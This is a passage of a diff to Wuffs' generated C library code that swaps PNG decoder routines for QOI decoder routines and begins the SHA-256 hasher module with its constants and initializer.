wuffs_crc32__ieee_hasher__update_u32(&self->private_data.f_crc32, wuffs_base__make_slice_u8(self->private_impl.f_chunk_type_array, 4)); +- } +- while (true) { +- v_mark = ((uint64_t)(iop_a_src - io0_a_src)); + { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; + } +- wuffs_base__status t_4 = wuffs_png__decoder__decode_other_chunk(self, a_src, false); +- v_status = t_4; +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ uint8_t t_3 = *iop_a_src++; ++ self->private_data.f_pixel[0u] = t_3; ++ } ++ } else if (v_c8 == 255u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; + } ++ uint8_t t_4 = *iop_a_src++; ++ self->private_data.f_pixel[2u] = t_4; + } +- if ( ! self->private_impl.f_ignore_checksum && ((self->private_impl.f_chunk_type & 32u) == 0u)) { +- v_checksum_have = wuffs_crc32__ieee_hasher__update_u32(&self->private_data.f_crc32, wuffs_base__io__since(v_mark, ((uint64_t)(iop_a_src - io0_a_src)), io0_a_src)); ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_5 = *iop_a_src++; ++ self->private_data.f_pixel[1u] = t_5; + } +- if (wuffs_base__status__is_ok(&v_status)) { +- break; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_6 = *iop_a_src++; ++ self->private_data.f_pixel[0u] = t_6; + } +- status = v_status; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(9); +- } +- if (self->private_impl.f_metadata_fourcc != 0u) { +- self->private_impl.f_call_sequence = 16u; +- status = wuffs_base__make_status(wuffs_base__note__metadata_reported); +- goto ok; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); +- uint32_t t_5; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_5 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(11); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_5 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_5); +- if (num_bits_5 == 24) { +- t_5 = ((uint32_t)(*scratch >> 32)); +- break; +- } +- num_bits_5 += 8u; +- *scratch |= ((uint64_t)(num_bits_5)); ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; + } ++ uint8_t t_7 = *iop_a_src++; ++ self->private_data.f_pixel[3u] = t_7; + } +- v_checksum_want = t_5; +- } +- if ( ! self->private_impl.f_ignore_checksum && ((self->private_impl.f_chunk_type & 32u) == 0u) && (v_checksum_have != v_checksum_want)) { +- status = wuffs_base__make_status(wuffs_png__error__bad_checksum); +- goto exit; +- } +- } +- if ((self->private_impl.f_color_type == 3u) && ! self->private_impl.f_seen_plte) { +- status = wuffs_base__make_status(wuffs_png__error__missing_palette); +- goto exit; +- } +- self->private_impl.f_frame_config_io_position = wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))); +- self->private_impl.f_first_config_io_position = self->private_impl.f_frame_config_io_position; +- if (a_dst != NULL) { +- wuffs_base__image_config__set( +- a_dst, +- self->private_impl.f_dst_pixfmt, +- 0u, +- self->private_impl.f_width, +- self->private_impl.f_height, +- self->private_impl.f_first_config_io_position, +- ((self->private_impl.f_color_type <= 3u) && ! self->private_impl.f_seen_trns)); +- } +- if ( ! self->private_impl.f_seen_actl) { +- self->private_impl.f_num_animation_frames_value = 1u; +- self->private_impl.f_first_rect_x0 = 0u; +- self->private_impl.f_first_rect_y0 = 0u; +- self->private_impl.f_first_rect_x1 = self->private_impl.f_width; +- self->private_impl.f_first_rect_y1 = self->private_impl.f_height; +- self->private_impl.f_first_duration = 0u; +- self->private_impl.f_first_disposal = 0u; +- self->private_impl.f_first_overwrite_instead_of_blend = false; +- } +- self->private_impl.f_call_sequence = 32u; ++ } else if (((uint8_t)(v_c8 >> 6u)) == 0u) { ++ v_ci = (4u * ((uint32_t)(((uint8_t)(v_c8 & 63u))))); ++ self->private_data.f_pixel[0u] = self->private_data.f_cache[(v_ci + 0u)]; ++ self->private_data.f_pixel[1u] = self->private_data.f_cache[(v_ci + 1u)]; ++ self->private_data.f_pixel[2u] = self->private_data.f_cache[(v_ci + 2u)]; ++ self->private_data.f_pixel[3u] = self->private_data.f_cache[(v_ci + 3u)]; ++ self->private_data.f_buffer[(v_bi + 0u)] = self->private_data.f_pixel[0u]; ++ self->private_data.f_buffer[(v_bi + 1u)] = self->private_data.f_pixel[1u]; ++ self->private_data.f_buffer[(v_bi + 2u)] = self->private_data.f_pixel[2u]; ++ self->private_data.f_buffer[(v_bi + 3u)] = self->private_data.f_pixel[3u]; ++ v_bi += 4u; ++ continue; ++ } else if (((uint8_t)(v_c8 >> 6u)) == 1u) { ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ self->private_data.f_pixel[2u] += ((uint8_t)(((uint8_t)(((uint8_t)(v_c8 >> 4u)) & 3u)) + 254u)); ++ self->private_data.f_pixel[1u] += ((uint8_t)(((uint8_t)(((uint8_t)(v_c8 >> 2u)) & 3u)) + 254u)); ++ self->private_data.f_pixel[0u] += ((uint8_t)(((uint8_t)(((uint8_t)(v_c8 >> 0u)) & 3u)) + 254u)); ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else if (((uint8_t)(v_c8 >> 6u)) == 2u) { ++ v_dg = ((uint8_t)(((uint8_t)(v_c8 & 63u)) + 224u)); ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_8 = *iop_a_src++; ++ v_c8 = t_8; ++ } ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ self->private_data.f_pixel[2u] += ((uint8_t)(((uint8_t)(v_dg + 248u)) + ((uint8_t)(15u & ((uint8_t)(v_c8 >> 4u)))))); ++ self->private_data.f_pixel[1u] += v_dg; ++ self->private_data.f_pixel[0u] += ((uint8_t)(((uint8_t)(v_dg + 248u)) + ((uint8_t)(15u & ((uint8_t)(v_c8 >> 0u)))))); ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else { ++ v_bj = (v_bi + (4u * (63u & (1u + ((uint32_t)(v_c8)))))); ++ while (v_bi < v_bj) { ++ self->private_data.f_buffer[(v_bi + 0u)] = self->private_data.f_pixel[0u]; ++ self->private_data.f_buffer[(v_bi + 1u)] = self->private_data.f_pixel[1u]; ++ self->private_data.f_buffer[(v_bi + 2u)] = self->private_data.f_pixel[2u]; ++ self->private_data.f_buffer[(v_bi + 3u)] = self->private_data.f_pixel[3u]; ++ v_bi += 4u; ++ } ++ continue; ++ } ++ v_hash4 = (4u * (63u & ((((uint32_t)(self->private_data.f_pixel[2u])) * 3u) + ++ (((uint32_t)(self->private_data.f_pixel[1u])) * 5u) + ++ (((uint32_t)(self->private_data.f_pixel[0u])) * 7u) + ++ (((uint32_t)(self->private_data.f_pixel[3u])) * 11u)))); ++ self->private_data.f_cache[(v_hash4 + 0u)] = self->private_data.f_pixel[0u]; ++ self->private_data.f_cache[(v_hash4 + 1u)] = self->private_data.f_pixel[1u]; ++ self->private_data.f_cache[(v_hash4 + 2u)] = self->private_data.f_pixel[2u]; ++ self->private_data.f_cache[(v_hash4 + 3u)] = self->private_data.f_pixel[3u]; ++ self->private_data.f_buffer[(v_bi + 0u)] = self->private_data.f_pixel[0u]; ++ self->private_data.f_buffer[(v_bi + 1u)] = self->private_data.f_pixel[1u]; ++ self->private_data.f_buffer[(v_bi + 2u)] = self->private_data.f_pixel[2u]; ++ self->private_data.f_buffer[(v_bi + 3u)] = self->private_data.f_pixel[3u]; ++ v_bi += 4u; ++ } ++ self->private_impl.f_buffer_index = v_bi; + ++ goto ok; + ok: +- self->private_impl.p_do_decode_image_config[0] = 0; ++ self->private_impl.p_from_src_to_buffer = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_do_decode_image_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_do_decode_image_config[0].v_checksum_have = v_checksum_have; ++ self->private_impl.p_from_src_to_buffer = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_from_src_to_buffer.v_dg = v_dg; ++ self->private_data.s_from_src_to_buffer.v_bi = v_bi; ++ self->private_data.s_from_src_to_buffer.v_bk = v_bk; + + goto exit; + exit: +@@ -54825,1068 +68222,1113 @@ wuffs_png__decoder__do_decode_image_config( + return status; + } + +-// -------- func png.decoder.decode_ihdr ++// -------- func qoi.decoder.from_buffer_to_dst + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_png__decoder__decode_ihdr( +- wuffs_png__decoder* self, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- uint32_t v_a32 = 0; +- uint8_t v_a8 = 0; ++wuffs_qoi__decoder__from_buffer_to_dst( ++ wuffs_qoi__decoder* self, ++ wuffs_base__pixel_buffer* a_dst) { ++ wuffs_base__pixel_format v_dst_pixfmt = {0}; ++ uint32_t v_dst_bits_per_pixel = 0; ++ uint32_t v_dst_bytes_per_pixel = 0; ++ uint64_t v_dst_bytes_per_row = 0; ++ wuffs_base__table_u8 v_tab = {0}; ++ uint32_t v_bi = 0; ++ uint32_t v_rem_x = 0; ++ wuffs_base__slice_u8 v_dst = {0}; ++ wuffs_base__slice_u8 v_src = {0}; ++ uint32_t v_src_length = 0; ++ uint64_t v_i = 0; + +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; ++ v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); ++ v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); ++ if ((v_dst_bits_per_pixel & 7u) != 0u) { ++ return wuffs_base__make_status(wuffs_base__error__unsupported_option); + } +- +- uint32_t coro_susp_point = self->private_impl.p_decode_ihdr[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; +- +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- uint32_t t_0; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_0 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_decode_ihdr[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_ihdr[0].scratch; +- uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); +- if (num_bits_0 == 24) { +- t_0 = ((uint32_t)(*scratch >> 32)); +- break; +- } +- num_bits_0 += 8u; +- *scratch |= ((uint64_t)(num_bits_0)); +- } +- } +- v_a32 = t_0; +- } +- if ((v_a32 == 0u) || (v_a32 > 2147483647u)) { +- status = wuffs_base__make_status(wuffs_png__error__bad_header); +- goto exit; +- } else if (v_a32 > 16777215u) { +- status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); +- goto exit; +- } +- self->private_impl.f_width = v_a32; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- uint32_t t_1; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_1 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_decode_ihdr[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_ihdr[0].scratch; +- uint32_t num_bits_1 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_1); +- if (num_bits_1 == 24) { +- t_1 = ((uint32_t)(*scratch >> 32)); +- break; +- } +- num_bits_1 += 8u; +- *scratch |= ((uint64_t)(num_bits_1)); +- } +- } +- v_a32 = t_1; +- } +- if ((v_a32 == 0u) || (v_a32 > 2147483647u)) { +- status = wuffs_base__make_status(wuffs_png__error__bad_header); +- goto exit; +- } else if (v_a32 > 16777215u) { +- status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); +- goto exit; +- } +- self->private_impl.f_height = v_a32; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_2 = *iop_a_src++; +- v_a8 = t_2; +- } +- if (v_a8 > 16u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_header); +- goto exit; +- } +- self->private_impl.f_depth = v_a8; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_3 = *iop_a_src++; +- v_a8 = t_3; +- } +- if ((v_a8 == 1u) || (v_a8 == 5u) || (v_a8 > 6u)) { +- status = wuffs_base__make_status(wuffs_png__error__bad_header); +- goto exit; +- } +- self->private_impl.f_color_type = v_a8; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_4 = *iop_a_src++; +- v_a8 = t_4; +- } +- if (v_a8 != 0u) { +- status = wuffs_base__make_status(wuffs_png__error__unsupported_png_compression_method); +- goto exit; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; ++ v_dst_bytes_per_pixel = (v_dst_bits_per_pixel / 8u); ++ v_dst_bytes_per_row = ((uint64_t)((self->private_impl.f_width * v_dst_bytes_per_pixel))); ++ v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); ++ while (v_bi < self->private_impl.f_buffer_index) { ++ if (self->private_impl.f_width <= self->private_impl.f_dst_x) { ++ self->private_impl.f_dst_x = 0u; ++ self->private_impl.f_dst_y += 1u; ++ if (self->private_impl.f_dst_y >= self->private_impl.f_height) { ++ break; + } +- uint8_t t_5 = *iop_a_src++; +- v_a8 = t_5; +- } +- if (v_a8 != 0u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_header); +- goto exit; ++ v_rem_x = self->private_impl.f_width; ++ } else { ++ v_rem_x = (self->private_impl.f_width - self->private_impl.f_dst_x); + } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_6 = *iop_a_src++; +- v_a8 = t_6; ++ v_src = wuffs_base__make_slice_u8_ij(self->private_data.f_buffer, v_bi, self->private_impl.f_buffer_index); ++ if (((uint64_t)((4u * v_rem_x))) < ((uint64_t)(v_src.len))) { ++ v_src = wuffs_base__slice_u8__subslice_j(v_src, ((uint64_t)((4u * v_rem_x)))); + } +- if (v_a8 == 0u) { +- self->private_impl.f_interlace_pass = 0u; +- } else if (v_a8 == 1u) { +- self->private_impl.f_interlace_pass = 1u; +- self->private_impl.choosy_filter_and_swizzle = ( +- &wuffs_png__decoder__filter_and_swizzle_tricky); +- } else { +- status = wuffs_base__make_status(wuffs_png__error__bad_header); +- goto exit; ++ v_src_length = ((uint32_t)(((uint64_t)(v_src.len)))); ++ v_bi += v_src_length; ++ v_dst = wuffs_private_impl__table_u8__row_u32(v_tab, self->private_impl.f_dst_y); ++ if (v_dst_bytes_per_row < ((uint64_t)(v_dst.len))) { ++ v_dst = wuffs_base__slice_u8__subslice_j(v_dst, v_dst_bytes_per_row); + } +- self->private_impl.f_filter_distance = 0u; +- wuffs_png__decoder__assign_filter_distance(self); +- if (self->private_impl.f_filter_distance == 0u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_header); +- goto exit; ++ v_i = (((uint64_t)(self->private_impl.f_dst_x)) * ((uint64_t)(v_dst_bytes_per_pixel))); ++ self->private_impl.f_dst_x += (v_src_length / 4u); ++ if (v_i < ((uint64_t)(v_dst.len))) { ++ wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, wuffs_base__slice_u8__subslice_i(v_dst, v_i), wuffs_base__pixel_buffer__palette(a_dst), v_src); + } +- self->private_impl.f_overall_workbuf_length = (((uint64_t)(self->private_impl.f_height)) * (1u + wuffs_png__decoder__calculate_bytes_per_row(self, self->private_impl.f_width))); +- wuffs_png__decoder__choose_filter_implementations(self); ++ } ++ return wuffs_base__make_status(NULL); ++} + +- goto ok; +- ok: +- self->private_impl.p_decode_ihdr[0] = 0; +- goto exit; ++// -------- func qoi.decoder.frame_dirty_rect ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 ++wuffs_qoi__decoder__frame_dirty_rect( ++ const wuffs_qoi__decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__empty_rect_ie_u32(); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__empty_rect_ie_u32(); + } + +- goto suspend; +- suspend: +- self->private_impl.p_decode_ihdr[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ return wuffs_base__utility__make_rect_ie_u32( ++ 0u, ++ 0u, ++ self->private_impl.f_width, ++ self->private_impl.f_height); ++} ++ ++// -------- func qoi.decoder.num_animation_loops ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint32_t ++wuffs_qoi__decoder__num_animation_loops( ++ const wuffs_qoi__decoder* self) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } ++ ++ return 0u; ++} ++ ++// -------- func qoi.decoder.num_decoded_frame_configs ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_qoi__decoder__num_decoded_frame_configs( ++ const wuffs_qoi__decoder* self) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } ++ ++ if (self->private_impl.f_call_sequence > 32u) { ++ return 1u; ++ } ++ return 0u; ++} + ++// -------- func qoi.decoder.num_decoded_frames ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_qoi__decoder__num_decoded_frames( ++ const wuffs_qoi__decoder* self) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } ++ ++ if (self->private_impl.f_call_sequence > 64u) { ++ return 1u; ++ } ++ return 0u; ++} ++ ++// -------- func qoi.decoder.restart_frame ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_qoi__decoder__restart_frame( ++ wuffs_qoi__decoder* self, ++ uint64_t a_index, ++ uint64_t a_io_position) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ ++ if (self->private_impl.f_call_sequence < 32u) { ++ return wuffs_base__make_status(wuffs_base__error__bad_call_sequence); ++ } ++ if ((a_index != 0u) || (a_io_position != 14u)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ self->private_impl.f_call_sequence = 40u; ++ return wuffs_base__make_status(NULL); ++} ++ ++// -------- func qoi.decoder.set_report_metadata ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct ++wuffs_qoi__decoder__set_report_metadata( ++ wuffs_qoi__decoder* self, ++ uint32_t a_fourcc, ++ bool a_report) { ++ return wuffs_base__make_empty_struct(); ++} ++ ++// -------- func qoi.decoder.tell_me_more ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_qoi__decoder__tell_me_more( ++ wuffs_qoi__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__more_information* a_minfo, ++ wuffs_base__io_buffer* a_src) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_dst || !a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 4)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ status = wuffs_base__make_status(wuffs_base__error__no_more_information); ++ goto exit; ++ ++ goto ok; ++ ok: + goto exit; + exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; + } +- + return status; + } + +-// -------- func png.decoder.assign_filter_distance ++// -------- func qoi.decoder.workbuf_len ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 ++wuffs_qoi__decoder__workbuf_len( ++ const wuffs_qoi__decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ ++ return wuffs_base__utility__make_range_ii_u64(0u, 0u); ++} ++ ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__QOI) ++ ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__SHA256) ++ ++// ---------------- Status Codes Implementations ++ ++// ---------------- Private Consts ++ ++static const uint32_t ++WUFFS_SHA256__INITIAL_SHA256_H[8] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 1779033703u, 3144134277u, 1013904242u, 2773480762u, 1359893119u, 2600822924u, 528734635u, 1541459225u, ++}; ++ ++static const uint32_t ++WUFFS_SHA256__K[64] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 1116352408u, 1899447441u, 3049323471u, 3921009573u, 961987163u, 1508970993u, 2453635748u, 2870763221u, ++ 3624381080u, 310598401u, 607225278u, 1426881987u, 1925078388u, 2162078206u, 2614888103u, 3248222580u, ++ 3835390401u, 4022224774u, 264347078u, 604807628u, 770255983u, 1249150122u, 1555081692u, 1996064986u, ++ 2554220882u, 2821834349u, 2952996808u, 3210313671u, 3336571891u, 3584528711u, 113926993u, 338241895u, ++ 666307205u, 773529912u, 1294757372u, 1396182291u, 1695183700u, 1986661051u, 2177026350u, 2456956037u, ++ 2730485921u, 2820302411u, 3259730800u, 3345764771u, 3516065817u, 3600352804u, 4094571909u, 275423344u, ++ 430227734u, 506948616u, 659060556u, 883997877u, 958139571u, 1322822218u, 1537002063u, 1747873779u, ++ 1955562222u, 2024104815u, 2227730452u, 2361852424u, 2428436474u, 2756734187u, 3204031479u, 3329325298u, ++}; ++ ++// ---------------- Private Initializer Prototypes ++ ++// ---------------- Private Function Prototypes + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__empty_struct +-wuffs_png__decoder__assign_filter_distance( +- wuffs_png__decoder* self) { +- if (self->private_impl.f_depth < 8u) { +- if ((self->private_impl.f_depth != 1u) && (self->private_impl.f_depth != 2u) && (self->private_impl.f_depth != 4u)) { +- return wuffs_base__make_empty_struct(); +- } else if (self->private_impl.f_color_type == 0u) { +- self->private_impl.f_dst_pixfmt = 536870920u; +- self->private_impl.f_src_pixfmt = 536870920u; +- } else if (self->private_impl.f_color_type == 3u) { +- self->private_impl.f_dst_pixfmt = 2198077448u; +- self->private_impl.f_src_pixfmt = 2198077448u; ++wuffs_sha256__hasher__up( ++ wuffs_sha256__hasher* self, ++ wuffs_base__slice_u8 a_x); ++ ++// ---------------- VTables ++ ++const wuffs_base__hasher_bitvec256__func_ptrs ++wuffs_sha256__hasher__func_ptrs_for__wuffs_base__hasher_bitvec256 = { ++ (wuffs_base__bitvec256(*)(const void*))(&wuffs_sha256__hasher__checksum_bitvec256), ++ (uint64_t(*)(const void*, ++ uint32_t))(&wuffs_sha256__hasher__get_quirk), ++ (wuffs_base__status(*)(void*, ++ uint32_t, ++ uint64_t))(&wuffs_sha256__hasher__set_quirk), ++ (wuffs_base__empty_struct(*)(void*, ++ wuffs_base__slice_u8))(&wuffs_sha256__hasher__update), ++ (wuffs_base__bitvec256(*)(void*, ++ wuffs_base__slice_u8))(&wuffs_sha256__hasher__update_bitvec256), ++}; ++ ++// ---------------- Initializer Implementations ++ ++wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++wuffs_sha256__hasher__initialize( ++ wuffs_sha256__hasher* self, ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options){ ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (sizeof(*self) != sizeof_star_self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); ++ } ++ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || ++ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); ++ } ++ ++ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { ++ // The whole point of this if-check is to detect an uninitialized *self. ++ // We disable the warning on GCC. Clang-5.0 does not have this warning. ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" ++#endif ++ if (self->private_impl.magic != 0) { ++ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); ++ } ++#if !defined(__clang__) && defined(__GNUC__) 